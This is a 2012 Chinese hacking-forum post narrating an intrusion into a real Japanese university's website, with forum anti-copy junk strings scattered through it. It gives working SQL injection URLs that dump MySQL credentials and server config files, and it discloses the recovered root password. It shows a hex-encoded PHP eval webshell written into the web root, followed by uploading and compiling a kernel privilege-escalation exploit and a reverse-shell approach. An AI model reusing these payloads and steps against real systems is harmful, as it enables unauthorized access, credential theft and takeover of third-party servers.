找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2592|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
1 G! n6 m- G1 _! J% r' J* y- }
5 B) y+ j2 b5 \+ Fhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1) q- N+ x) ^) l! h
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
8 d& I1 {  I1 a0 u( p/ A" o1 |2 f' {" ?  `* d' x4 b6 q( b
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user' ]. n: m, @8 l6 l
8 i, U1 Y; J% T: C9 I7 z, [
! u. s& b  r$ f6 K, f& ]" K, ]  |

4 }; ]6 ], z+ I, A& {5 ]" Z4 p( l//@@datadir为数据库文件路径
( z' w/ F8 Y1 V2 L  i% x 5 k8 e9 v& z5 u% A' u( l1 D  C

; O' }/ ~: ^9 ^% M( I//load_file读取网站容器apache的配置文件
+ V) c1 B! P3 C9 f 7 m/ K. ~* Q  u, d# I4 j

% ]& z% W6 O, K2 h) Q//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
, f" }4 ]+ X% B1 r- s6 V复制代码$ n$ [1 r; {  v+ i: _
9 L/ ^" N1 D8 w1 I% ~6 Q; V6 \7 i
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
$ Z7 l& k2 p+ B, ]* |
& }5 t. Y2 h" J) p7 n0 m" m4 v而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。) L, q8 |8 V& |
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)3 J8 I9 e! h5 Q6 q2 p
" y% e1 M/ c- s) X# k
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。; i- u- n5 _6 R4 J" t( t
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html/ c  }# c4 W, z3 x- |6 k9 r( R% K
% i: u: Y/ b8 J/ E
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/( J$ Q: R4 n; ]$ \3 L/ \
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
: K" Q  K; c. D, P( I# G4 \直接写一句话:0 R+ K' L3 y' A

; m& l7 K1 Y3 X! thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#; v! A  E* Y1 D# E/ W7 Y; a

9 w! E8 S" Q" ?! I1 X$ l3 a 9 y, v2 h5 q" q5 {5 M; h
) P+ E2 A$ j* s- X: R/ L
//最后的#是为了闭合前面的语句
0 m' q4 S4 d4 e& a  W + u  V: i. q$ f5 r2 h6 ~
& }" w) z$ p: h5 U0 \6 x  @4 Y" x
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
. J% ?( N- Q+ ~6 _( A 7 j7 b* g( h; L: f4 S: Y
4 w% a: y- K- z  J
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
6 o% p% D1 D2 j* M  o
, Z: o% [0 e  e* T" P: h$ m# U/ v( g0 C) b9 l
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
2 M9 c7 o; S7 Q' k4 u# S1 d: C 7 E7 l: A# B$ j/ u3 T
: R# _/ e( v2 g! X) X2 e
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
+ M1 }# {8 K( Y3 R7 U, m( K5 @% a8 t//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
& L) W3 H  N: M( J复制代码7 G" F. B, W& j
, I# c2 Z$ m9 Y" d: S
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
# `% K' k+ h# U$ s通过上述注入语句,我们就得到了一句话木马:
6 }. M% s5 T& G. s) a+ p$ B+ Y# ?- z6 H! ?1 d

, d! \7 ?, a+ P+ P' t: N( _* ]+ ]0 \5 \2 g# x! C$ K
  X( }  S! k+ \. H1 q1 y  e3 ]- f

9 v* o& m( d, Y0 s# n; fhttp://www.doshisha.ac.jp/english/engnews_img/aa.php ! M% P% K: v1 Y$ K, Q5 v2 X" P
复制代码& Q5 }4 m- ]+ B, ~1 Z. C# a: |

( a+ j6 O" c* ~8 E! r& x用菜刀连接,密码是cmd,如图所示:
) \5 i! r- y* Y' U2 _; w2 H然后在命令提示行里看了一下,现在的权限是:
, h: n: J/ W6 H% Q9 z' W" N3 ?5 x' `% d$ X! F4 ?' X; G
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
( l9 z8 S" g+ T$ ?; O# z  z好在赋权给这个文件夹不需要root,直接执行赋权语句:- y! g( [* b! b8 V
1 p  S4 ~. {% N( [- t

5 x5 D& t- [& A* ?- s) f% M/ p( _
+ J0 S# ?3 z3 R' e: s # L; H( q7 F5 P  j' @0 Z. J

" m, ]; N: C9 w9 }0 Ichmod +x /tmp/ & d4 e) j5 V' _3 V" R/ J4 _
复制代码& u+ j* P( N4 j# @* d! p0 i3 R. G

/ I; z$ p# p* K2 {0 F" N0 z8 R在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行( }! H6 u8 }/ S4 q( q' v
然后就查了一下内核版本:
' B& X7 z; ^. P2 o" E+ y6 @( T6 P  z/ z3 V& u6 `

3 @5 p) R- h3 }, n5 p4 ~# p
8 F, X% v: A5 I8 [* z6 [
) ~! E2 Y1 d/ J2 S3 I3 s2 n$ o2 x, o  g  R# ?, M
uname-a 4 V0 S8 r  ]5 u$ P

9 [$ @- x+ r1 O: z/ u
7 m! o! m; @! j' K2 E- B//其实lsb_release -a
& x9 s( e4 `' {  j( n- B复制代码; m2 x( x3 O/ B2 z  M4 {

1 s4 T. k! P8 e如图所示:' s; l# T1 o2 O+ J/ G& g8 z" F- t* _

3 ~. w1 U; Y5 i- V内核版本:linux mainz1 2.6.28-194.e15* _6 y+ M/ b" G+ P
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 D. R4 K' }: Y% j0 G! i5 Z" Q
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹$ P) g" w* @% f. N+ _* M7 y
1 Y! x& j3 E' X4 g! m( V0 ]
然后给予执行权限" c: G" [. ?* }, V4 B; S+ A! a
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样* s9 T+ i4 A- }; t

0 T" `: B; N( [3 H+ V! O$ ]
6 \' Y9 ~3 d( e% N/ V5 ?, p3 g6 L( s7 U* n

% r4 O. x3 z# P* ~& ?& V
) |0 i0 p/ D* s8 Cchmod +x /tmp/2.6.18-194 3 u+ x" g, x5 R) V' e" B
复制代码 然后直接执行!~. ~. z$ p- |2 p3 `( I
4 F8 ?; \* N) H; ?
总结:
2 G1 J" @' K" @5 B% ~这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了+ x4 i1 M. _9 s) i
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root; I  u8 z" w% l: p

, }+ Y' [: M* ^/ u$ [6 A, x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表